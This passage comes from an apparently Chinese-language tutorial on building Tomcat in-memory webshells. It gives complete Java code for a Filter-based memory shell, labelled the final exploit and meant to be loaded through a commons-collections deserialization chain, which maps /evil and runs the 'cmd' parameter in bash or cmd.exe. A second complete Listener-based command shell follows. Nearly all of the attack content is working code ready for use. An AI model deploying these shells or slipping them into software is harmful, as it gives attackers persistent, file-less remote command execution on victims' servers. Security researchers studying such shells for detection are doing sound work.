ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(decode));
Object obj = null;
try {
obj = ois.readObject();
} catch (ClassNotFoundException e) {
throw new RuntimeException(e);
}
ois.close();
response.getWriter().println(obj.toString());
}
}
引入cc依赖
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
</dependency>
最终exp
最终内存马, 配合cc链加载两次此类即可写入内存马
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.apache.catalina.Context;
import org.apache.catalina.connector.RequestFacade;
import org.apache.catalina.core.ApplicationContext;
import org.apache.catalina.core.ApplicationContextFacade;
import org.apache.catalina.core.ApplicationFilterConfig;
import org.apache.catalina.core.StandardContext;
import org.apache.tomcat.util.descriptor.web.FilterDef;
import org.apache.tomcat.util.descriptor.web.FilterMap;
import javax.servlet.*;
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStreamReader;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.Modifier;
import java.util.HashMap;
import java.util.Map;
public class filterShell extends AbstractTranslet implements Filter {
static {
try {
// 获取standardContext
RequestFacade requestFacade = (RequestFacade) getRequestFacadeFromThreadLocal();
if (requestFacade != null) {
ApplicationContextFacade applicationContextFacade = (ApplicationContextFacade) requestFacade.getServletContext();
Class acf = applicationContextFacade.getClass();
Field appctxfield = acf.getDeclaredField("context");
appctxfield.setAccessible(true);
ApplicationContext appctx = (ApplicationContext) appctxfield.get(applicationContextFacade);
Field stdctxfield = appctx.getClass().getDeclaredField("context");
stdctxfield.setAccessible(true);
StandardContext stdctx = (StandardContext) stdctxfield.get(appctx);
// 实例化evilFilter
Filter filter = new filterShell();
// 添加FilterDef
FilterDef filterDef = new FilterDef();
filterDef.setFilter(filter);
filterDef.setFilterName(filter.getClass().getName());
filterDef.setFilterClass(filter.getClass().getName());
stdctx.addFilterDef(filterDef);
// 添加FilterMap
FilterMap filterMap = new FilterMap();
filterMap.setFilterName(filter.getClass().getName());
filterMap.addURLPattern("/evil");
filterMap.addServletName("");
stdctx.addFilterMap(filterMap);
// 实例化ApplicationFilterConfig
Class filterConfigClass = Class.forName("org.apache.catalina.core.ApplicationFilterConfig");
Constructor constructor = filterConfigClass.getDeclaredConstructor(Context.class, FilterDef.class);
constructor.setAccessible(true);
ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(stdctx, filterDef);
// 添加FilterConfig
Field filterConfigsField = stdctx.getClass().getDeclaredField("filterConfigs");
filterConfigsField.setAccessible(true);
Map<String,ApplicationFilterConfig> filterConfigs = (HashMap) filterConfigsField.get(stdctx);
filterConfigs.put(filter.getClass().getName(), filterConfig);
}
} catch (Exception e) {
System.out.println("Error: " + e.getMessage());
e.printStackTrace();
}
}
public static void main(String[] args) {
System.out.println("evil!");
}
public static ServletRequest getRequestFacadeFromThreadLocal() {
try {
// 设置WRAP_SAME_OBJECT为true
Class clazz1 = Class.forName("org.apache.catalina.core.ApplicationDispatcher");
Field boolfield = clazz1.getDeclaredField("WRAP_SAME_OBJECT");
boolfield.setAccessible(true);
Field modifiersField = Field.class.getDeclaredField("modifiers");
modifiersField.setAccessible(true);
modifiersField.setInt(boolfield, boolfield.getModifiers() & ~Modifier.FINAL);
boolfield.set(null, true);
Boolean newValue = (Boolean) boolfield.get(null);
System.out.println("WRAP_SAME_OBJECT: ");
System.out.println(newValue);
Class clazz = Class.forName("org.apache.catalina.core.ApplicationFilterChain");
Field lastServicedRequest = clazz.getDeclaredField("lastServicedRequest");
lastServicedRequest.setAccessible(true);
modifiersField.setInt(lastServicedRequest, lastServicedRequest.getModifiers() & ~Modifier.FINAL);
Field lastServicedResponse = clazz.getDeclaredField("lastServicedResponse");
lastServicedResponse.setAccessible(true);
modifiersField.setInt(lastServicedResponse, lastServicedResponse.getModifiers() & ~Modifier.FINAL);
// 设置lastServicedRequest和lastServicedResponse为ThreadLocal
if(lastServicedRequest.get(null) == null || lastServicedResponse.get(null) == null){
ThreadLocal<ServletRequest> lastServicedRequestValue = new ThreadLocal<>();
ThreadLocal<ServletRequest> lastServicedResponseValue = new ThreadLocal<>();
lastServicedRequest.set(null, lastServicedRequestValue);
lastServicedResponse.set(null, lastServicedResponseValue);
return lastServicedRequestValue.get();
} else {
// 获取ThreadLocal中的ServletRequest
ThreadLocal<ServletRequest> tl = (ThreadLocal<ServletRequest>) lastServicedRequest.get(null);
return tl.get();
}
} catch (Exception e) {
return null;
}
}
public static String executeCmd(String multiLineCommand) {
StringBuilder output = new StringBuilder();
try {
String os = System.getProperty("os.name").toLowerCase();
String shell = os.contains("win") ? "cmd.exe" : "/bin/bash";
String shellOption = os.contains("win") ? "/c" : "-c";
ProcessBuilder builder = new ProcessBuilder(shell, shellOption, multiLineCommand);
builder.redirectErrorStream(true);
Process process = builder.start();
try (BufferedReader reader = new BufferedReader(
new InputStreamReader(process.getInputStream()))) {
String line;
while ((line = reader.readLine()) != null) {
output.append(line).append("\n");
}
}
int exitCode = process.waitFor();
output.append("Process exited with code: ").append(exitCode).append("\n");
} catch (IOException | InterruptedException e) {
output.append("Error: ").append(e.getMessage()).append("\n");
}
return output.toString();
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
@Override
public void init(FilterConfig filterConfig) throws ServletException {
Filter.super.init(filterConfig);
}
@Override
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {
String commmand = request.getParameter("cmd");
try {
String output = executeCmd(commmand);
response.getWriter().println(output);
} catch (Exception e) {
String errorMessage = "Error executing command: \n" + e.getMessage();
response.getWriter().println(errorMessage);
}
}
@Override
public void destroy() {
Filter.super.destroy();
}
}

Listener
源码调试
Litener又在Filter之前

在tomcat中,常见的Listener有以下几种:
ServletContextListener,用来监听整个Web应用程序的启动和关闭事件,需要实现contextInitialized和contextDestroyed这两个方法;ServletRequestListener,用来监听HTTP请求的创建和销毁事件,需要实现requestInitialized和requestDestroyed这两个方法;HttpSessionListener,用来监听HTTP会话的创建和销毁事件,需要实现sessionCreated和sessionDestroyed这两个方法;HttpSessionAttributeListener,监听HTTP会话属性的添加、删除和替换事件,需要实现attributeAdded、attributeRemoved和attributeReplaced这三个方法。
很明显,ServletRequestListener是最适合做内存马的,因为它只要访问服务就能触发操作。
这个接口的位置在javax.servlet.ServletRequestListener
实现一个demo
package org.MemShell;
import javax.servlet.*;
import javax.servlet.annotation.WebListener;
@WebListener("/test")
public class TestListener implements ServletRequestListener {
@Override
public void requestDestroyed(ServletRequestEvent sre) {
System.out.println("[+] destroy TestListener");
}
@Override
public void requestInitialized(ServletRequestEvent sre) {
System.out.println("[+] initial TestListener");
}
}
启动并发起一个请求

在requestDestroyed和requestInitialized方法打断点
可以看见在进入context的pipLine之前, 是context.fireRequestInitEvent(request.getRequest()))来触发事件监听器的

跟进

getApplicationEventListeners获取的Listeners
对应方法定义如下

可以看见也存在添加Listener的方法
Listener内存马构造
有了之前的经验就比较简单了
用servlet写个demo
package org.n4c1.Servlets;
import org.apache.catalina.connector.Request;
import org.apache.catalina.connector.RequestFacade;
import org.apache.catalina.connector.Response;
import org.apache.catalina.core.ApplicationContext;
import org.apache.catalina.core.ApplicationContextFacade;
import org.apache.catalina.core.StandardContext;
import javax.servlet.ServletException;
import javax.servlet.ServletRequest;
import javax.servlet.ServletRequestEvent;
import javax.servlet.ServletRequestListener;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStreamReader;
import java.lang.reflect.Field;
import java.lang.reflect.Modifier;
@WebServlet("/test2")
public class testWithListenerServlet extends HttpServlet {
@Override
public void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
// 获取standardContext
RequestFacade requestFacade = (RequestFacade) getRequestFacadeFromThreadLocal();
ApplicationContextFacade applicationContextFacade = (ApplicationContextFacade) requestFacade.getServletContext();
Class acf = applicationContextFacade.getClass();
try {
Field appctxfield = acf.getDeclaredField("context");
appctxfield.setAccessible(true);
ApplicationContext appctx = (ApplicationContext) appctxfield.get(applicationContextFacade);
Field stdctxfield = appctx.getClass().getDeclaredField("context");
stdctxfield.setAccessible(true);
StandardContext stdctx = (StandardContext) stdctxfield.get(appctx);
System.out.println("standardContext: " + stdctx.getClass().getName());
ServletRequestListener listener = new evilListener();
stdctx.addApplicationEventListener(listener);
} catch (Exception e) {
e.printStackTrace();
}
response.getWriter().println("Hello World!");
}
public class evilListener implements ServletRequestListener {
@Override
public void requestDestroyed(ServletRequestEvent sre) {
System.out.println("[+] destroy TestListener");
}
@Override
public void requestInitialized(ServletRequestEvent sre) {
String cmd = sre.getServletRequest().getParameter("cmd");
if (cmd != null) {
String output = executeCmd(cmd);
RequestFacade requestFacade = (RequestFacade) sre.getServletRequest();
try {
Class<?> requestClazz = requestFacade.getClass();
Field requestfield = requestClazz.getDeclaredField("request");
requestfield.setAccessible(true);
Request request = (Request) requestfield.get(requestFacade);
Response response = request.getResponse();
response.getWriter().println(output);
} catch (Exception e) {
e.printStackTrace();
}
}
}
}
public static String executeCmd(String multiLineCommand) {
StringBuilder output = new StringBuilder();
try {
String os = System.getProperty("os.name").toLowerCase();
String shell = os.contains("win") ? "cmd.exe" : "/bin/bash";
String shellOption = os.contains("win") ? "/c" : "-c";
ProcessBuilder builder = new ProcessBuilder(shell, shellOption, multiLineCommand);
builder.redirectErrorStream(true);
Process process = builder.start();
try (BufferedReader reader = new BufferedReader(
new InputStreamReader(process.getInputStream()))) {
String line;
while ((line = reader.readLine()) != null) {
output.append(line).append("\n");
}
}
int exitCode = process.waitFor();
output.append("Process exited with code: ").append(exitCode).append("\n");
} catch (IOException | InterruptedException e) {
output.append("Error: ").append(e.getMessage()).append("\n");
}
return output.toString();
}
public static ServletRequest getRequestFacadeFromThreadLocal() {
try {
// 设置WRAP_SAME_OBJECT为true
Class clazz1 = Class.forName("org.apache.catalina.core.ApplicationDispatcher");
Field boolfield = clazz1.getDeclaredField("WRAP_SAME_OBJECT");
boolfield.setAccessible(true);
Field modifiersField = Field.class.getDeclaredField("modifiers");
modifiersField.setAccessible(true);
modifiersField.setInt(boolfield, boolfield.getModifiers() & ~Modifier.FINAL);
boolfield.set(null, true);
Boolean newValue = (Boolean) boolfield.get(null);
System.out.println("WRAP_SAME_OBJECT: ");
System.out.println(newValue);
Class clazz = Class.forName("org.apache.catalina.core.ApplicationFilterChain");
Field lastServicedRequest = clazz.getDeclaredField("lastServicedRequest");
lastServicedRequest.setAccessible(true);
modifiersField.setInt(lastServicedRequest, lastServicedRequest.getModifiers() & ~Modifier.FINAL);
Field lastServicedResponse = clazz.getDeclaredField("lastServicedResponse");
lastServicedResponse.setAccessible(true);
modifiersField.setInt(lastServicedResponse, lastServicedResponse.getModifiers() & ~Modifier.FINAL);
// 设置lastServicedRequest和lastServicedResponse为ThreadLocal
if(lastServicedRequest.get(null) == null || lastServicedResponse.get(null) == null){
ThreadLocal<ServletRequest> lastServicedRequestValue = new ThreadLocal<>();
ThreadLocal<ServletRequest> lastServicedResponseValue = new ThreadLocal<>();
lastServicedRequest.set(null, lastServicedRequestValue);
lastServicedResponse.set(null, lastServicedResponseValue);
return lastServicedRequestValue.get();
} else {
// 获取ThreadLocal中的ServletRequest
ThreadLocal<ServletRequest> tl = (ThreadLocal<ServletRequest>) lastServicedRequest.get(null);
return tl.get();
}
} catch (Exception e) {
return null;
}
}
}

浙公网安备 33010602011771号